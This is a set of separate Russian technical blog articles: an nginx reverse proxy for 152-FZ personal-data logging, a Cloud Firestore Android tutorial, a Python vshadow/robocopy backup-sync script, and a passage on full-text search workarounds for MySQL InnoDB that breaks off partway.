* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_200821&utm_term=cat)
**А также:**
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_200821&utm_term=cat) | https://habr.com/ru/post/570560/ | null | ru | null |
# ФЗ-152 надоел, простое решение c хранением персональных данных на nginx
Всем привет,
Я последние несколько лет очень часто сталкиваюсь с проектами по адаптации под 152-ФЗ и он мне, честно, порядком надоел. Поэтому, прочитав *опять* весь закон, все комментарии различных ведомств и трактовки *уважаемых* людей, а также проанализировав ряд решений, которые прошли успешно аудит. Я, кажется, нашел простой технический вариант как сделать ваш web-site, API или приложение, соответствующее закону о персональных данных 152-ФЗ в разрезе требования о сборе *пнд* на территории России.
Я даже автоматизировал развертывание этой штуки и это занимает не больше 10-ти минут. Давайте обсудим применимость данного подхода!?
Чуть-чуть про сам закон, 152-ФЗ
-------------------------------
Я уже и не помню зачем он на самом деле создавался, толи для того, что бы фейсбук и твиттер хранили данные о Российских граждан в РФ и таким образом к ним был бы более простой способ доступа у правоохранительных органов. Возможно, для того, чтобы они были в безопасности. Назначение самого закона оставим за скобками, а углубимся сразу в его требования. [Сам закон](http://www.consultant.ru/document/cons_doc_LAW_61801/) обширный, но самый большой камень преткновения описан в статье 18, п.5:
*"****При сборе персональных данных****, в том числе посредством информационно-телекоммуникационной сети "Интернет", оператор обязан обеспечить запись, систематизацию, накопление, хранение, уточнение (обновление, изменение), извлечение персональных данных граждан Российской Федерации с использованием баз данных, находящихся на территории Российской Федерации, за исключением случаев, указанных в*[*пунктах 2*](http://www.consultant.ru/document/cons_doc_LAW_373130/315f051396c88f1e4f827ba3f2ae313d999a1873/#dst100260)*,*[*3*](http://www.consultant.ru/document/cons_doc_LAW_373130/315f051396c88f1e4f827ba3f2ae313d999a1873/#dst21)*,*[*4*](http://www.consultant.ru/document/cons_doc_LAW_373130/315f051396c88f1e4f827ba3f2ae313d999a1873/#dst6)*,*[*8 части 1 статьи 6*](http://www.consultant.ru/document/cons_doc_LAW_373130/315f051396c88f1e4f827ba3f2ae313d999a1873/#dst100266)*настоящего Федерального закона."*
Хочу обратить внимание именно на слова "при сборе персональных данных". Если попробовать перевести в простой язык, то его можно трактовать так, что собирать данные нужно используя базу данных в РФ и еще держать ее актуальной. Никаких ограничений для других операций в законе нет и ограничений, что можно делать дальше с этими данными так же нет. Это самый тонкий момент тут, так как пояснений, что такое база-данных или другие понятия закон не описывает, то это все трактуют очень по разному. Вот самые распространенные трактовки, которые я слышу:
* Собирать персональные данные нужно в РФ, дальше можно их отправлять куда захочется.
* Вообще нельзя отправлять персональные данные за пределы РФ.
* Вообще ничего нельзя никуда отправлять и нельзя нигде ничего размещать за пределами РФ.
Но на основе того как уже реализуются системы и как проходят проверки, можно смело заявить, что первый вариант точно рабочий и валидный. Теперь разобравшись чуть-чуть с требованиями перейдем к тому как это можно реализовать и уже выдохнуть.
Варианты реализации
-------------------
Ниже список вариантов как компании этот закон исполняют с технической стороны и что я встречал:
1. Вообще его игнорируют. Привет Facebook и Twitter.
2. Доказывают себе и другим, что у них нет персональных данных. Закон, кстати, так себе описывает, что такое персональные данные.
3. Арендуют сервер или виртуальную машину в РФ, кладут на него excel фаил - "персональные данные.xls" и отчитываются документально перед проверяющими органами.
4. Вносят руками данные локально в excel или в локальную систему перед тем как внести их в систему размещенную за пределами РФ.
5. Просто разворачивают копию системы в РФ и пользователей маршрутизируют на уровне DNS между площадками.
6. Выносят из приложения часть логики и размещают ее в РФ, где происходит сбор и хранение персональных данных. (Самый крутой вариант с моей точки зрения).
Вариантов я видел уже больше нескольких десятков, не буду браться за их оценку с точки зрения закона, а лучше сразу перейду, с моей точки зрения самому простому варианту, который кстати совсем не новый.
Описание реализации - Reverse Proxy
-----------------------------------
Концептуально выглядит он примерно как на архитектуре ниже.
Ничего сложного и логика работы следующая:
1. **DNS** на основе гео принадлежности пользователя маршрутизирует запросы. Если пользователь из РФ, то он идет по правой части картинки на прокси сервер. В данном случае на картинке Route53, но может быть и другой DNS сервис.
2. **Reverse proxy,** в данном случае это nginx принимает HTTP/HTTPS запрос и если он (POST, PUT, DELETE и тд), то кладет его локально в лог и в базу данных (PostgreSQL) с помощью плагина - [rsyslog-pgsql](https://www.rsyslog.com/) в json формате.
3. Дальше запрос отсылается в первичную систему, получает ответ и отдает его пользователю.
4. Для пользователя процесс выглядит совершенно прозрачным и не нужно менять никакой логики у него, он как-будто взаимодействует с оригинальной системой.
"Постойте, так ведь это просто сбор логов HTTP/S запросов, разве это считается?" - спросите вы. С точки зрения закона он никак не регламентирует формат и структуру сбора и хранения данных и только говорит про использование базы-данных. Поэтому с логической точки зрения тут все по букве закона. Похоже, примерно так же SAP доработал свою систему, [вот тут](https://blogs.sap.com/2017/06/13/all-you-need-to-know-about-saps-russia-data-residency-solution/) можно почитать более подробно в их блоге. Там очень часто упоминается, что пишется лог изменений в РФ.
В базе данных будут храниться HTTP/S логи запросов на создание и изменения, что-то вроде changefeed. Но это легко можно расширить если известна модель пересылаемых данных и встроить эту логику в виде python скрипта или просто сделать trigger в базе данных, которая будет схлопывать changefeed в нужную структуру, где запись об одном человеке будет одна.
Как развернуть это себе?
------------------------
Я автоматизировал развертывания и настройки этого модуля и опубликовал его [тут на Github как open source проект.](https://github.com/Gaploid/FZ-152-Reverse-Proxy) Если кто-то хочет дополнить или расширить этот проект то смело пишите мне или создавайте pull request.
Краткое пояснения как развернуть:
1. Пропишите в вашей DNS записи A-record с айпи адресом на ваш сервер, который будет выступать reverse-proxy.
2. Зайдите на вашу виртуальную машину или свой сервер и сделайте: `git clone https://github.com/Gaploid/FZ-152-Reverse-Proxy`
3. Сделайте файл executable: chmod +x install.sh
4. Запустите скрипт: `sudo ./install.sh` Пример: `sudo ./install.sh example.com http://example.com` где это домен на который пользователь будет заходить, он может быть существующим. это адрес первоначальной системы.
5. Все, после этого если вы зайдете на все запросы **POST, DELETE, PUT** буду складываться локально в лог фаил - **/var/log/nginx/reverse-access.log** и в базу: **proxy\_logs** в таблицу: **accesslog.**
Если вы хотите добавить HTTPS, то это можно сделать несколькими способами:
* Добавить свой существующий сертификат в nginx. [Вот пример](http://nginx.org/en/docs/http/configuring_https_servers.html) инструкции.
* Добавить новый сертификат от let's encrypt. Я для этого сделал скрипт `./add_ssl.sh` вам нужно просто его будет запустить на этом же сервере. Сертификат получается с помощью бота от let's encrypt автоматически, но валидацию, что это действительно ваш домен он проводит путем проверки доступности по указанному домену вашего сервера, который вы указали на первом шаге.
Все на этом ваше мобильное приложение или даже веб-сайт если он работает через ваше API будет работать так как и работал и ничего в них не нужно менять.
Как еще это можно улучшить?
---------------------------
1. На nginx можно дополнительно выставить фильтр какие запросы перехватывать и вы можете указать, например, что нужно перехватывать если URL - myapp.com/profile/ в таком случае только запросы связанные с профилем будут сохраняться, что сильно уменьшит объем хранимых данных.
2. Как я писал выше можно добавить триггер в базу данных, которые будет парсить JSON запроса и класть уже в другую таблицу в структуру, когда на одного человека будет приходиться только одна запись.
3. Можно еще добавить веб интерфейс с поиском, который будет показывать все записи по поисковой строке, например по ФИО или айди человека.
Послесловие
-----------
Я ни в коем случае не претендую, что это решение является серебряной пулей для всех сценариев, а так же не берусь его оценивать с юридической стороны. Поэтому перед тем как использовать проконсультируйтесь с юристами в вашей компании или во внешних агентствах.
Причина по которой я написал эту статью - желание обсудить валидность и применимость данного варианта с комьюнити, поэтому смело пишите ваши мысли в комментариях. | https://habr.com/ru/post/552934/ | null | ru | null |
# Cloud Firestore + Android это просто
Не так давно Google зарелизил Cloud Firestore. Cloud Firestore — это облачная NoSQL база данных, которую Google позиционирует как замену Realtime Database. В этой статье я хочу рассказать как начать ей пользоваться.
#### Возможности
Cloud Firestore позволяет хранить данные на удаленном сервере, легко получать к ним доступ и следить за изменениями в режиме реального времени. В [документации](https://firebase.google.com/docs/firestore/rtdb-vs-firestore) есть отличное сравнение Cloud Firestore и Realtime Database.
#### Создание и подключение к проекту
В консоли Firebase выбираем Database и нажимаем на Create database. Дальше выбираем настройки доступа. Для ознакомления нам будет достаточно тестового режима, но на проде лучше подойти к этому вопросу серьезнее. Подробнее про режимы доступа можно почитать [здесь](https://firebase.google.com/docs/firestore/security/get-started).
Для настройки проекта проделываем следующие шаги:
1. Добавить Firebase к проекту по инструкции от [сюда](https://firebase.google.com/docs/android/setup)
2. Добавить зависимость в app/build.gradle
`implementation 'com.google.firebase:firebase-firestore:18.1.0'`
Теперь все готово.
Для ознакомления с базовыми приемами работы с Cloud Firestore я написал простенькое [приложение](https://github.com/LukyanovAnatoliy/CloudFirestoreExample). Для его работы необходимо создать проект в консоли Firebase и добавить файлик google-services.json в проект в Android Studio.
#### Структура хранения данных
В Firestore для хранения данных используются коллекции и документы. Документ — это запись, которая содержит какие-либо поля. Документы объединяются в коллекции. Также документ может содержать вложенные коллекции, но на андроиде это не поддерживается. Если проводить аналогию с SQL-базой, то коллекция — это таблица, а документ — это запись в этой таблице. Одна коллекция может содержать документы с разным набором полей.
#### Получение и запись данных
Для того чтобы получить все документы какой-либо коллекции достаточно следующего кода
```
remoteDB.collection(“Tasks”)
.get()
.addOnSuccessListener { querySnapshot ->
// Успешно получили данные. Список в querySnapshot.documents
}
.addOnFailureListener { exception ->
// Произошла ошибка при получении данных
}
}
```
Здесь мы запрашиваем все документы из коллекции *Tasks*.
Библиотека позволяет формировать запросы с параметрами. Следующий код показывает как получить документы из коллекции по условию
```
remoteDB.collection(“Tasks”)
.whereEqualTo("title", "Task1")
.get()
.addOnSuccessListener { querySnapshot ->
// Успешно получили данные. Список в querySnapshot.documents
}
.addOnFailureListener { exception ->
// Произошла ошибка при получении данных
}
}
```
Здесь мы запрашиваем все документы из коллекции *Tasks*, у которых поле *title* соответсвует значению *Task1*.
При получении документов, их можно сразу конвертировать в наши data-классы
```
remoteDB.collection(“Tasks”)
.get()
.addOnSuccessListener { querySnapshot ->
// Успешно получили данные. Список в querySnapshot.documents
val taskList: List = querySnapshot.toObjects(RemoteTask::class.java)
}
.addOnFailureListener { exception ->
// Произошла ошибка при получении данных
}
}
```
Для записи необходимо сформировать Hashmap с данными (где в качестве ключа выступает название поля, а в качестве значения — значение этого поля) и передать библиотеке. Следующий код это демонстрирует
```
val taskData = HashMap()
taskData["title"] = task.title
taskData["created"] = Timestamp(task.created.time / 1000, 0)
remoteDB.collection("Tasks")
.add(taskData)
.addOnSuccessListener {
// Успешная запись
}
.addOnFailureListener {
// Произошла ошибка при записи
}
```
В данном примере будет создан новый документ и Firestore сгенерирует ему id. Чтобы задать собственный id необходимо сделать следующее
```
val taskData = HashMap()
taskData["title"] = task.title
taskData["created"] = Timestamp(task.created.time / 1000, 0)
remoteDB.collection("Tasks")
.document("New task")
.set(taskData)
.addOnSuccessListener {
// Успешная запись
}
.addOnFailureListener {
// Произошла ошибка при записи
}
```
В этом случае если нет документа с id равном *New task*, то он будет создан, а если есть, то указанные поля будут обновлены.
Еще один вариант создания/обновления документа
```
remoteDB.collection("Tasks")
.document("New task")
.set(mapToRemoteTask(task))
.addOnSuccessListener {
// Успешная запись
}
.addOnFailureListener {
// Произошла ошибка при записи
}
```
#### Подписываемся на изменения
Firestore позволяет подписаться на изменения данных. Подписаться можно как на изменения коллекции, так и на изменения конкретного документа
```
remoteDB.collection("Tasks")
.addSnapshotListener { querySnapshot, error ->
// querySnapshot - список изменений
// error - ошибка
}
```
querySnapshot.documents — содержит обновленный список всех документов
querySnapshot.documentChanges — содержит список изменений. Каждый объект содержит измененный документ и тип изменения. Возможны 3 типа изменений
ADDED — документ добавлен,
MODIFIED — документ изменен,
REMOVED — документ удален
#### Загрузка большого количества данных
Realtime Database предоставляет более менее удобный механизм загрузки большого количества данных, который заключается в ручном редактировании json-файла и его загрузки. Firestore из коробки ничего такого не предоставляет. Было очень неудобно добавлять новые документы, пока я не нашел способ как можно легко загрузить большой объем информации. Чтобы у вас не было таких проблем как у меня, ниже приложу инструкцию как быстро и легко загрузить большой объем данных. Инструкция была найдена на просторах интернета.
1. Установить [Node.js и npm](https://nodejs.org/en/)
2. Установить пакет firebase-admin выполнив команду
`npm install firebase-admin --save`
3. Сформировать json-файл с данными коллекции. Пример можно посмотреть в файле [Tasks.json](https://github.com/LukyanovAnatoliy/CloudFirestoreExample/blob/master/export/json/Tasks.json)
4. Для загрузки нам понадобиться ключ доступа. Как его получить хорошо описано в этой [статье](https://hackernoon.com/filling-cloud-firestore-with-data-3f67d26bd66e)
5. В файле [export.js](https://github.com/LukyanovAnatoliy/CloudFirestoreExample/blob/master/export/export.js) проставить свои данные
require('./firestore\_key.json') — файл с ключом доступа. У меня лежал в папке со скриптом
— название вашей firestore-базы
"./json/Tasks.json" — путь до файла в котором лежат данные
['created'] — список имен полей с типом Timestamp
6. Выполнить скрипт
`node export.js`
В скрипте используются наработки [dalenguyen](https://github.com/dalenguyen/firestore-backup-restore)
#### Заключение
Cloud Firestore я использовал в одном из своих проектов и не испытал никаких серьезных проблем. Одна из моих коллекций содержит около 15000 документов и запросы по ней проходят довольно быстро и это без использования индексов. Используя Cloud Firestore совместно с Room и Remote Config можно существенно сократить количество обращений к базе и не выходить за бесплатные лимиты. На бесплатном тарифе в день можно прочитать 50000 документов, записать 20000 и 20000 удалить.
**Гифка работы приложения** | https://habr.com/ru/post/447640/ | null | ru | null |
# Python + vshadow + robocopy — синхронизация каталога с удаленной машиной
Не так давно у меня встала задача копировать базу данных из удаленного филиала для получения в нашем офисе ее полной копии на момент создания. По идее ежедневное копирование. Первое, что пришло на ум, это rsync сервер, на который выполняется копирование, а уже с него копия используется далее. Быстрый поиск навел на боле менее адекватную [инструкцию тут же](http://habrahabr.ru/post/132123/).
Проблема в том, что на клиентской машине стоит Win система. И принимающая сторона тоже использует аналогичную OS. Rsync сервер на Linux — это лишняя прослойка между двумя машинами. Ставить Rsync на Win сервере возможно, но по другим отвлеченным соображениям, излишне. В итоге наткнулся на свой скрипт синхронизации каталогов и совместив его с созданием теневой копии создал новое решение.
Получившийся скрипт полностью [здесь](https://github.com/Concord82/Sync_Servers). В статье просто приведу основные вехи и полученный функционал.
Скрипт создает теневую копию диска. Выполняет копирование заданных каталогов на удаленный ресурс по smb. Вычислят отличия между источником и полученной копией. Формирует отчет о копировании и полученных отличиях, после чего отправляет по почте отчет заданным адресатам.
Как и в выше указанной статье, для начала качаем Volume Shadow Copy Service SDK 7.2 с сайта [Microsoft](http://www.microsoft.com/en-us/download/details.aspx?displaylang=en&id=23490). Устанавливаем на машину и выдергиваем нужные нам утилиты.
> Нам понадобятся vshadow.exe и vshadow.pdb файлы из этого SDK. Внимание — они разные для 64-битных, и 32-битных систем.
>
>
>
> После инсталляции их можно будет найти тут:
>
>
>
> 64-bit — %PROGRAMFILES%\Microsoft\VSSSDK72\TestApps\vshadow\bin\obj-chk\amd64
>
> 32-bit — %PROGRAMFILES%\Microsoft\VSSSDK72\TestApps\vshadow\bin\release-xp
Складываем в отдельный каталог. Я обычно создаю под разные задачи каталог c:\Windows\!Script и в нем уже подкаталоги. Тут личное дело каждого. Полученные два файла и скрипт можно копировать на целевую машину и подгонять скрипт под свои задачи. А вот Python необходимый для выполнения скрипта придется устанавливать на каждой клиентской машине.
Непосредственно тело скрипта начинается со строки 137. Для настройки целей копирования и прочего сопутствующего хозяйства требуется определить переменные.
```
####################
## Переменные ##
####################
work_dir = 'C:\Windows\!Script\Backup' # рабочий каталог скрипта. Изменить на тот в который выложенна утилита vshadow.exe и сам скрипт
source_disk = 'c:'
destin_disk = 'o:'
param_script = 'vs_generated.cmd'
# список каталогов для копирования
cwd_list = [['o:\\Windows\\!Script\\Backup', '\\\\master\\apps\\temp\\viv\\backup'],['o:\\ocs-ng', '\\\\master\\apps\\temp\\viv\\ocs-ng']]
# настройка почты
from_addr = 'admin@typa.ru' # адрес отправителя отчета
tech_addr = ['user1@typa.ru', 'user1@typa.ru'] # список адресатов
```
В данном случае это рабочий каталог, в котором находится скрипт, целевой диск с копией, имя диска, к которому будет примонтированна созданная теневая копия, название файла, в который утилита vshadow.exe сохраняет значения своих переменных. Далее переменная cwd\_list содержит список каталогов, которые требуется копировать и места куда выполнять копирование. Переменная содержит список из двух элементных списков. Обратите внимание, что для экранирования косой черты в путях в Python ее требуется проставлять два раза, а для указания ссылки на сетевой путь — даже четыре.
И завершает определение переменных настройки отправки электронной почты. Переменная, содержащая адрес отправителя письма и переменная, содержащая список получателей.
Собственно, определить переменные в этой секции — это все, что требуется для успешной работы. Далее вешаем выполнение скрипта в планировщик заданий, не забывая указывать выполнение с правами администратора. Без админ прав создание теневой копии не происходит. Если копировать будем на сетевой ресурс в домене, желательно завести под это специально заведенную учетную запись в домене. Соответственно, права на целевой каталог в домене задаем для этой учетной записи под наши предпочтения. Следует учесть, что утилита robocopy имеет много опций для своего запуска. В данном случае идет синхронизация каталога источника и удаленного каталога полностью, вплоть до ntfs прав, аудита и владельца каталога. В общем, для сетевого каталога придется еще повозится с заданием первоначальных прав ntfs на расшаренном сетевом ресурсе. Если вся эта информация вам не требуется, можно просто убрать лишние ключи в вызове копирования.
Ну и в завершение быстро пройдусь на основных вехах в работе скрипта.
Со строки 169 выполняем создание теневой копии.
```
# проверяем наличие файла создания теневых копий
# без него работать не будем поэтому выход с ошибкой
if not(path.exists(getcwd() + '\\vshadow.exe')) and not(path.isfile(getcwd() + '\\vshadow.exe')) :
exit(1)
proc = Popen('vshadow.exe -nw -p -script=' + param_script + ' ' + source_disk, shell=True, stdout=PIPE)
proc.wait()
out = proc.stdout.readlines()
```
Обратите внимание на параметр вызова -script=' + param\_script, в результате работы vshadow.exe в этот файл выкладываются значения переменных. Нас из них интересует только SHADOW\_ID\_1, которая содержит идентификатор созданной теневой копии. Собственно, далее мы занимаемся тем, что читаем полученный файл и выдергиваем значение идентификатора для дальнейшей работы. И после того, как нашли идентификатор, подключаем теневую копию.
```
proc = Popen('vshadow.exe -el=' + SHADOW_ID + ',' + destin_disk, shell=True, stdout=PIPE)
```
Далее все рутинно. Перебираем список копирования. Натравливаем на него robocopy. Читаем логи формируем отчет. В завершении, отправляем отчет всем заинтересованным. Удаляем теневую копию и файл, содержащий переменные от vshadow.exe
P.S. Кстати, если при запуске этого скрипта файл определения остался, vshadow не сможет его переписать и скрипт будет пытаться подключить старую теневую копию по ее id. По идее в дальнейшем не помешает проверять наличие этого файла еще и в начале работы и удалять при необходимости.
P.P.S. Обратите внимание, что выполняется копирование каталогов. Если есть желание копировать диск целиком, требуется немного изменить процедуру sync. При копировании ведется лог и имя лог файла получается из названия каталога источника. Если будет указан просто диск, имя, лог файла сформируется что-то типа 'o:.txt' и скрипт выпадет с ошибкой. В данном случае лучше добавить проверку того, что все символы в полученном имени файла допустимы и удалять прочие. | https://habr.com/ru/post/241931/ | null | ru | null |
# Полнотекстовый поиск в InnoDB
Привет, Хабрачитатель!
Полнотекстовый поиск данных в InnoDB – это известная головная боль многих разработчиков под MySQL / InnoDB. Для тех, кто не в курсе дела я объясню. В типе таблиц MyISAM есть полноценный полнотекстовый поиск данных, однако сама таблица исторически имеет ограничения, которые являются принципиальными в отдельных проектах. В более «продвинутом» типе таблиц InnoDB полнотекстового поиска нет. Вот и приходится мириться бедным разработчикам либо с ограничениями MyISAM, либо с отсутствием поиска в InnoDB. Я хочу рассказать о том, какие есть способы организовать полноценный поиск в InnoDB без магии и исключительно штатными средствами. Также будет интересно сравнить скоростные характеристики каждого способа.
Для примера возьмем небольшую таблицу с 10000 записями.
> CREATE TABLE users(
>
> id INT(11) NOT NULL AUTO\_INCREMENT,
>
> login VARCHAR(255) DEFAULT NULL,
>
> `password` VARCHAR(255) DEFAULT NULL,
>
> name VARCHAR(255) DEFAULT NULL,
>
> surname VARCHAR(255) DEFAULT NULL,
>
> email VARCHAR(255) NOT NULL,
>
> country VARCHAR(255) DEFAULT NULL,
>
> city VARCHAR(255) DEFAULT NULL,
>
> PRIMARY KEY (id)
>
> )
>
> ENGINE = INNODB
В этой таблице мы храним данные пользователей сайта. На самом сайте есть форма поиска пользователей, в которую можно ввести произвольный запрос вида «Толстой Ясная Поляна». Для обработки такого запроса поиск должен осуществляться сразу по нескольким полям. Нам нужен поиск для полей *login*, *name*, *surname*, *city*, *country*. Запрос может быть как одиночным словом (имя или город) или же в виде набора слов, разделенных пробелом. Проблема в том, что нам необходимо искать этот набор слов сразу по нескольким полям, что сложно сделать в InnoDB без использования дополнительных функций.
Есть несколько относительно простых способов полнотекстового поиска данных в InnoDB:
1. [С помощью таблицы-«зеркала» в MyISAM](#h1)
2. [С помощью таблицы-«зеркала» в MyISAM с кэшированными данными](#h2)
3. [С помощью таблицы из ключевых слов в MyISAM](#h3)
4. [Разбора запроса и прямой поиск в InnoDB](#h4)
5. [Использование сторонних решений](#h5)
Рассмотрим каждый из них подробнее.
С помощью таблицы-«зеркала» в MyISAM
------------------------------------
Первый предлагаемый способ заключается в создании дополнительной таблицы в MyISAM. Как известно MyISAM достаточно неплохо поддерживает полнотекстовый поиск и это можно использовать. В эту дополнительную таблицу будут копироваться все данные из основной таблицы (*users*). Синхронизация будет обеспечиваться за счет триггеров. В новой таблице добавим поля *login*, *name*, *surname*, *city*, *country*. Таким образом, мы создадим «зеркало» основной таблицы, и работать будем с ним. Для возможности полнотекстового поиска добавим туда FULLTEXT индекс по всем 5 полям вместе:
> CREATE TABLE search(
>
> id INT(11) DEFAULT NULL,
>
> login VARCHAR(255) DEFAULT NULL,
>
> name VARCHAR(255) DEFAULT NULL,
>
> surname VARCHAR(255) DEFAULT NULL,
>
> country VARCHAR(255) DEFAULT NULL,
>
> city VARCHAR(255) DEFAULT NULL,
>
> FULLTEXT INDEX IX\_search (city, country, login, name, surname)
>
> )
>
> ENGINE = MYISAM
Для синхронизации данных между основной таблицей и таблицей-«зеркалом» на *users* установим триггеры на запись, изменение и чтение:
Триггер на запись:
> CREATE
>
> TRIGGER `insert`
>
> AFTER INSERT
>
> ON users
>
> FOR EACH ROW
>
> BEGIN
>
> INSERT INTO search (`id`,`login`,`name`,`surname`,`country`,`city` ) VALUES(
>
> NEW.`id`,
>
> NEW.`login`,
>
> NEW.`name`,
>
> NEW.`surname`,
>
> NEW.`country`,
>
> NEW.`city`
>
> );
>
> END
Триггер на изменение:
> CREATE
>
> TRIGGER `update`
>
> AFTER UPDATE
>
> ON users
>
> FOR EACH ROW
>
> BEGIN
>
> DELETE FROM `search` WHERE `id`= NEW.`id`;
>
> INSERT INTO `search` (`id`,`login`,`name`,`surname`,`country`,`city` ) VALUES(
>
> NEW.`id`,
>
> NEW.`login`,
>
> NEW.`name`,
>
> NEW.`surname`,
>
> NEW.`country`,
>
> NEW.`city`
>
> );
>
> END
И простой триггер на удаление:
> CREATE
>
> TRIGGER `delete`
>
> AFTER DELETE
>
> ON users
>
> FOR EACH ROW
>
> BEGIN
>
> DELETE FROM `search` WHERE `id`= OLD.`id`;
>
> END
Поиск осуществляется с помощью следующего запроса:
> SELECT `users`.\* FROM `users`
>
> INNER JOIN `search`
>
> ON `search`.`id` = `users`.`id`
>
> WHERE
>
> MATCH(`search`.city, `search`.country, `search`.login, `search`.name, `search`.surname) AGAINST (' Владимир Тупин Санкт-Петербург ' IN BOOLEAN MODE) >0
>
> ORDER BY MATCH(`search`.city, `search`.country, `search`.login, `search`.name, `search`.surname) AGAINST (' Владимир Тупин Санкт-Петербург ' IN BOOLEAN MODE) DESC
Здесь поиск данных происходит в таблице *search*, результат сортируется по релевантности, и на выходе мы получаем соответствующие записи из таблицы *users*.
Главный плюс такого подхода — это гибкость поиска за счет добавления дополнительных индексов и составления новых комбинаций поиска (страна+город или логин + имя + фамилия). Таким образом, мы можем свободно формировать новые наборы для поиска и правила релевантности.
Минусы этого способа (как и всех способов с созданием «зеркала») – это избыточное хранение данных. Поэтому его целесообразно использовать при небольших объемах данных как в нашем примере.
С помощью таблицы-«зеркала» в MyISAM с кэшированными данными
------------------------------------------------------------
Второй способ также заключается в создании зеркала данных, однако здесь мы будем хранить данные только в одном поле. В поставленной задаче поиск осуществляется сразу по группе полей и мы попробуем объединить их в одно текстовое поле, разделив пробелами. Таким образом, целому набору данных в таблице *users* будет соответствовать одно единственное поле. Создадим таблицу *search* с двумя полями *id* и *text*. *Id* – будет соответствовать *id* основной таблицы (*users*), *text* – это наши «кэшированные» данные.
> CREATE TABLE search(
>
> id INT(11) DEFAULT NULL,
>
> `text` TEXT DEFAULT NULL,
>
> FULLTEXT INDEX IX\_search\_text (`text`)
>
> )
>
> ENGINE = MYISAM
Синхронизация также осуществляется с помощью триггеров:
Добавление:
> CREATE
>
> TRIGGER `insert`
>
> AFTER INSERT
>
> ON users
>
> FOR EACH ROW
>
> BEGIN
>
> INSERT INTO search (`id`, `text`) VALUES(NEW.`id`,
>
> LOWER(
>
> CONCAT\_WS(' ',
>
> NEW.`name`,
>
> NEW.`surname`,
>
> NEW.`login`,
>
> NEW.`country`,
>
> NEW.`city`
>
> )
>
> )
>
> );
>
> END
Изменение:
> CREATE
>
> TRIGGER `update`
>
> AFTER UPDATE
>
> ON users
>
> FOR EACH ROW
>
> BEGIN
>
> DELETE FROM search WHERE `id` = NEW.`id`;
>
> INSERT INTO search (`id`, `text`) VALUES(NEW.`id`,
>
> LOWER(
>
> CONCAT\_WS(' ',
>
> NEW.`name`,
>
> NEW.`surname`,
>
> NEW.`login`,
>
> NEW.`country`,
>
> NEW.`city`
>
> )
>
> )
>
> );
>
> END CREATE
Удаление:
> TRIGGER `delete`
>
> AFTER DELETE
>
> ON users
>
> FOR EACH ROW
>
> BEGIN
>
> DELETE FROM search WHERE `id` = OLD.`id`;
>
> END
Поисковый запрос выглядит так:
> SELECT `users`.\* FROM `users`
>
> INNER JOIN `search`
>
> ON `search`.`id` = `users`.`id`
>
> WHERE
>
> MATCH(`search`.`text`) AGAINST ('Владимир Тупин Санкт-Петербург' IN BOOLEAN MODE) >0
>
> ORDER BY MATCH(`search`.`text`) AGAINST ('Владимир Тупин Санкт-Петербург' IN BOOLEAN MODE) DESC
>
>
Этот способ не такой гибкий как предыдущий, однако как мы увидим дальше он выигрывает в скорости при большом числе разнообразных запросов.
С помощью таблицы из ключевых слов в MyISAM
-------------------------------------------
Третий способ основан на создании списка «ключевых слов» — поисковых тегов. Ключевые слова – это поля в таблице *users*. Например, для пользователя с полями `(id=2144; login= leo; name=Лев;surname=Толстой;city=’Ясная Поляна’;country=Россия;email=leo@tolstoy.ru;password=;)` ключевыми словами будут `(«leo»; «Лев»; «Толстой»; «Ясная Поляна»; «Россия»)`. Все эти слова мы будем записывать в отдельную таблицу MyISAM, в которой будут два поля *id* и *text*. Id соответствует id основной таблицы (*users*). А *text* – это поле, в которое будут записываться ключевые слова-теги. Каждому пользователю из таблицы *users* будут соответствовать 5 записей в новой таблице *search*. Таким образом, мы получили таблицу тегов каждого пользователя.
> CREATE TABLE search(
>
> id INT(11) DEFAULT NULL,
>
> `text` VARCHAR(255) DEFAULT NULL,
>
> FULLTEXT INDEX IX\_search\_text (`text`)
>
> )
>
> ENGINE = MYISAM
Синхронизация данных осуществляется также за счет триггеров:
Создание:
> CREATE
>
> TRIGGER `insert`
>
> AFTER INSERT
>
> ON users
>
> FOR EACH ROW
>
> BEGIN
>
> INSERT INTO search (`id`,`text`) VALUES
>
> (NEW.`id`, NEW.`login`),
>
> (NEW.`id`, NEW.`name`),
>
> (NEW.`id`, NEW.`surname`),
>
> (NEW.`id`, NEW.`country`),
>
> (NEW.`id`, NEW.`city`);
>
> END
Изменение:
> CREATE
>
> TRIGGER `update`
>
> AFTER UPDATE
>
> ON users
>
> FOR EACH ROW
>
> BEGIN
>
> DELETE FROM search WHERE `id` = NEW.`id`;
>
> INSERT INTO search (`id`,`text`) VALUES
>
> (NEW.`id`, NEW.`login`),
>
> (NEW.`id`, NEW.`name`),
>
> (NEW.`id`, NEW.`surname`),
>
> (NEW.`id`, NEW.`country`),
>
> (NEW.`id`, NEW.`city`);
>
> END
Удаление:
> CREATE
>
> TRIGGER `delete`
>
> AFTER DELETE
>
> ON users
>
> FOR EACH ROW
>
> BEGIN
>
> DELETE FROM search WHERE `id` = OLD.`id`;
>
> END
Поисковый запрос:
> SELECT `users`.\* FROM `users`
>
> INNER JOIN `search`
>
> ON `search`.`id` = `users`.`id`
>
> WHERE
>
> MATCH(`search`.`text`) AGAINST(' Владимир Тупин Санкт-Петербург ' IN BOOLEAN MODE) > 0
>
> GROUP BY `search`.`id`
>
> ORDER BY COUNT(\*) DESC
Обратите внимание, что если раньше релевантность определялась встроенным механизмом поиска MyISAM, то в этом случае ее определяем сами. В результате поиска мы получили только те теги, которые соответствуют запросу. И чем больше тегов одного пользователя, тем выше он в выборке.
Приведенный пример имеет недостаток: при равном числе тегов у нескольких записей происходит естественная сортировка, что не всегда верно с точки зрения релевантности.
Однако у этого метода есть высокий потенциал для дальнейшего развития. Во-первых, мы можем добавить в сортировку `ORDER BY` сумму оценок релевантностей от запроса `MATCH AGAINST`. Тем самым указанный выше недостаток будет устранен. Во-вторых, мы можем добавить в эту таблицу дополнительное поле веса тега *weight*, и каждому полю основной таблицы поставить в соответствие значение этого веса. Таким образом, мы можем добавить сортировку с учетом значимости (веса) отдельных полей. Это дает нам возможность делать акцент на каких то полях без ухудшения качества поиска.
Разбора запроса и прямой поиск в InnoDB
---------------------------------------
Четвертый способ суров и не использует MyISAM как предыдущие. В нем также нет дополнительных таблиц и триггеров. Мы будем просто искать по существующей таблице. Для начала нам необходимо проиндексировать все поля, в которых будет осуществляться поиск.
> CREATE TABLE users(
>
> id INT(11) NOT NULL,
>
